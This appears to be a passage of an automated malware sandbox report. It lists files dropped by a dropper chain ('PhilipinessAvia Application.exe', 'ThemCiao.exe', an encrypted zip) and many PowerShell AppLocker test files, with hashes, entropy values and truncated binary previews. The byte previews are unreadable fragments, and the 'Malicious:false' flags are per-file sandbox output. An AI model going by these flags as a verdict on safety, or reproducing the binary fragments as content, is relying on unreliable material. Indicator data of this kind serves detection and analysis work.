                                                                                                                                                                                                                                                                        Preview:..^.9..+.zU...C..a.L..u.../ TC...v..4...v5zT:.*........{.;3+#Y.z.......*.y..$.$..BgU....n?,.%L..^-Zq..#3;..Dq..q..Vg.b.#.;.....J...0+g..<..m.r.O......<.+<...?2l..qK...B.U!U9.c.N)......)9w.i'....4^.Q8Rf.H.-..7...z.9..d..I...gRr.p.t .%.|..f..x.....d.k..ov.........[....+2...Kt....+A.xR.V.<bk....?..................B...,....`..Sc+.[.1C.....5n..C.#Tn.3Nq.\{.@@.qN..d....!)..3Qc..^..,............#..#.8.....z....O...5._`?...7..us..)Y.L..w>m....soy#.p^.@:..3...b^GF..\L.....6~t..,y..._....F.,...j...\..Ok.P..(..|...y5.d+.! I....E..=...1....u..'J(..>j....i.|...*<...W.hiY.8..&.}6].(0Dd0.....2...\..X.h.~.s......uy.1/\I..;.D.D...P..|J........?K.$.4......$.M..,..'....h.sa..(..q.=..u...G\G...Wn".....Zg$..3.D).......J]...I.mt...s.\.r.4......D.i(ZSsC...Vo?z.Zl....|j.}.G....[b.J.,.....l...,..1.,..k.`q.!...|...KpxE..i4p]....3.{3..h..R..... .../.....F.....K...|......@..Sb.'.......%y.>.G..p.....:.....w3......$6.UU...T/._w@.zXO..wd.NY+......;.....g.\........$f...*...!..n.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Videos

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):65536
                                                                                                                                                                                                                                                                        Entropy (8bit):6.581566681427375
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:VL/uDoiouK+r5bLmbZzW9FfTubb1/Dde6YF640L6wy4Za9IN3YRYfv2j6O:EDoioO5bLezW9FfTut/Dde6u640ewy4E
                                                                                                                                                                                                                                                                        MD5:1F6F655488FC3D42C9605A0BF56F8579
                                                                                                                                                                                                                                                                        SHA1:55A1DD629808FBDCEFA34141CDFBEDEEF7F3C226
                                                                                                                                                                                                                                                                        SHA-256:80F0207188C8C097A8D2AEF260CE9A5CF83CAF50DF7248AB357002A147C6133C
                                                                                                                                                                                                                                                                        SHA-512:A02D97CA997E058BF01DF93891A0A0373B3663922B17D6162B2CD53E6D48C2827A47CE17B4482405192841911EE3D9A5FF91AFED21FF1C45E269F1243F6267B3
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:P.......u....@..|8...L8.t..I8.A......8.|$D.tN.D$.P.t$..t$H..$.I...t1...@..|8...L8.t..I8.A......|8...L8.t..I8.A........L$....L$..D$.P.D$ .....Pj..t$\Q....I...tF...@..|8...L8.t..I8.A......|8...L8.t..I8.A...|$.........t$.....I......C..L$$3.SSQS.L$0Q.t$<.H.....HP.t$0....I...t(...@..L8.8\8.t..I8.I...L8.8\8.t..I8.Y....M..D$(P..M....S.t$(.H....(....t$..5..I...9\$.t..t$...L$P......L$0.%....L$@......D$,.(.u.j.P.8...t$0..8....._^3.[..]...U......LSVW.}...h..I....B....L$8.....L$(.....L$H.....E..@..0........N..........A..B..A..B..A..B....D$XP.D$<P.D$PP.....D$(.......D$<.A..D$@.A..D$D.A....D$0P.D$,P......u1...@..|....L..t..I8.A......|....L..t..I8.A...l...3..D$.9D$<t].D$.P.t$..t$@..$.I...t@j.P...H.........H..|....D..t..@8.@......|....D..t..@8.@........L$....L$..D$.P.D$$.....P3.P.t$TQ....I...tRj.P...H....O....|$..t..t$.....I....@..|....L..t..I8.A......|....L..t..I83..A......E..@..p....K....F..L$.Q3.L$ RQR.0.t$$.. .I...j.^..1...t6j.P.......H..|....D..t..@8.H...|....D..t..@8.@.......3.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Visitor

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):63488
                                                                                                                                                                                                                                                                        Entropy (8bit):6.5505622178488725
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:S1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYP:SZg5PXPeiR6MKkjU
                                                                                                                                                                                                                                                                        MD5:F45A56EA369F633C19ECC0CAC37FD58D
                                                                                                                                                                                                                                                                        SHA1:10123B891B86EEACD1F49935F6AA3929873D506E
                                                                                                                                                                                                                                                                        SHA-256:B44B6CE6377FB30D8DC050147D4931DCD4BA0052E98D6D145A3B0BD3D5C5B71B
                                                                                                                                                                                                                                                                        SHA-512:4F71E6B9C29FF96A30A5D0DCD2D9C11B8BC55307C17C4234825251138F3D6AE97CE2C2FCA53A5723EB481E5AD0C267A73B243DCBEFC6F30E52E62E5A63691883
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:......f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1076598
                                                                                                                                                                                                                                                                        Entropy (8bit):7.959000496275141
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:R0gF7aznd4nZtiaQY9COVcTuu3gDYVN8IXtJuI5jWrJUhAq6HMBQpDd4sclzCm8z:+CId4ZWyeEYfHXjAq6HM6pDvbd1ccgc
                                                                                                                                                                                                                                                                        MD5:2783F1199571BC172AA55EC4B0846490
                                                                                                                                                                                                                                                                        SHA1:91F39A0A1037E8E2C326D77F1E57FA3EEECA513F
                                                                                                                                                                                                                                                                        SHA-256:E433BB3A145E60A5222F6242F0D3E96A93546A8A231ACE4F2DAF8D0EEC5D1031
                                                                                                                                                                                                                                                                        SHA-512:199B9F091978062395D2BC697A348693F1AB67AF7C9BCE1651444FB55F10497264E33460271D0177E6A56D2E1E7E9A3C724385938BC3170BEC0F31A4DAEBAB16
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@..........................`............@.................................@............D...........N.......`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc....D.......F..................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\__MACOSX\._ThemCiao.exe

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:AppleDouble encoded Macintosh file
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):278
                                                                                                                                                                                                                                                                        Entropy (8bit):3.30391859947597
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:PFoESNt/FPl2XplkJlte3//lsRdllvlLD8/TlwdIwPXiGdAAV0vttTVkMIWHxsAf:PgGAr2/aO/eKwviGdlV0vt3DrHxsXY
                                                                                                                                                                                                                                                                        MD5:12317F5A5DFDF6804D6EECA4CED583E2
                                                                                                                                                                                                                                                                        SHA1:7B3B4049E60A7263F0730AA1B989CAF144AC60EB
                                                                                                                                                                                                                                                                        SHA-256:E73818308B9F5951A4705F5FCBC678DEA3A42F8195CE594CB1F82FFC81EF6630
                                                                                                                                                                                                                                                                        SHA-512:3DE137C0358A7EA771A82EE05A6636E0DA9B5397BFBDBC9E7D7C33ABDBF4B5423BCB8B0EDF8AD17CFE9C42A04E7599740C1F8D038B193C1F501D418CBA51E1F5
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........Mac OS X .........2..................................................ATTR...............b.......................H...com.apple.macl..............com.apple.quarantine...2#?b..AR.%\..l.......................................................q/0081;6760ca31;Telegram;.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\ZZovEy9If0dJ4jV91e

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1034363
                                                                                                                                                                                                                                                                        Entropy (8bit):7.999600787709115
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:24576:KJp4ZcEcYYvpligNI6LM0p5YJPYE71cKaW:KycEevpli4I6LMGE7uKh
                                                                                                                                                                                                                                                                        MD5:76CA593E9A1843F4C552405B1ABA0B54
                                                                                                                                                                                                                                                                        SHA1:03EBA281C67295DB33986774BF9BAC93083DD062
                                                                                                                                                                                                                                                                        SHA-256:B7E780B9E4141B220B1D8EF259A8AC97EAF1D552B132391D4D852FA73B407841
                                                                                                                                                                                                                                                                        SHA-512:D1EE623F9FF4A89235C68F5795F80E6D1F7759D2C37E291228A1BEEEA041375E15BA5866BA82AB685C8CBF0D9796580468DE77CEB56420CFA82B381CE980FF4A
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:PK...........Y........vm.... .ThemCiao.exeUT.....`g..`g..`gux..............}|T.7~.%..&....J0HP4HS.,q@......3.J....H-..Al..O.r<...jk[.PK[o...."&.I@j#PH..T.8Q..a...|.>3.m{.s......`wf.....k....k..oy\...`G0.Ah...^...0..?..^...q-.9..w.t....+.....}.....r..w..P.)..........;'...e......9..i..}..\.;iZ!O.2.W.....i...iv.{....;$...)...9.\....7f.z..e.%_.d|l...k..e..Bx<3Z.[.!.?.....-qq.<....../He.~.~L..$..fR..?4.%..R{...a.....?..e....;W...Y...>._-S..'.Xz.|. .Sn.)LBX..r^.o.YLx...j.8n...P.u.=.... ...)lk...+.@...........w.............]..1....O...^.w.Z...r...}.J.ZS...^.d.......2...8..G.....,....S7#?.........'h>g.w.L{.iz}J.3%.%U.......7...a.....T.g..m...04.K......|.(4....!.e?..!_.#9|3.C..(.._..x.C......4..(.A../e..5.".Q., 2.Bc..c..z&>r.a......Nc...h.j.B.U....%..;B$..c p.(....j~.(..q.>u>".c.T....G..(.c.=.{t"..;.....x.....[].>.....|.....+...VG.V...G..fq.......J........8.....*.f'.....a..n..K...6.2\......._.....b6.b..m......H......O.l..j.{GD............-Z..ZOQ...w.r0.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dz1mbqc.bfh.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ki1pq2b.ukn.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jjr43d1.nb5.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tuqes0i.k3e.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3votmtxa.kbc.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vwxsigc.pfd.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45vimm5n.tmt.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4dgk5nob.2fi.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fsdd05e.1jv.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4usz4bno.i3b.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5o5bw1uh.aih.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5r3jd3lg.ukr.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x0nfpnj.yyr.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
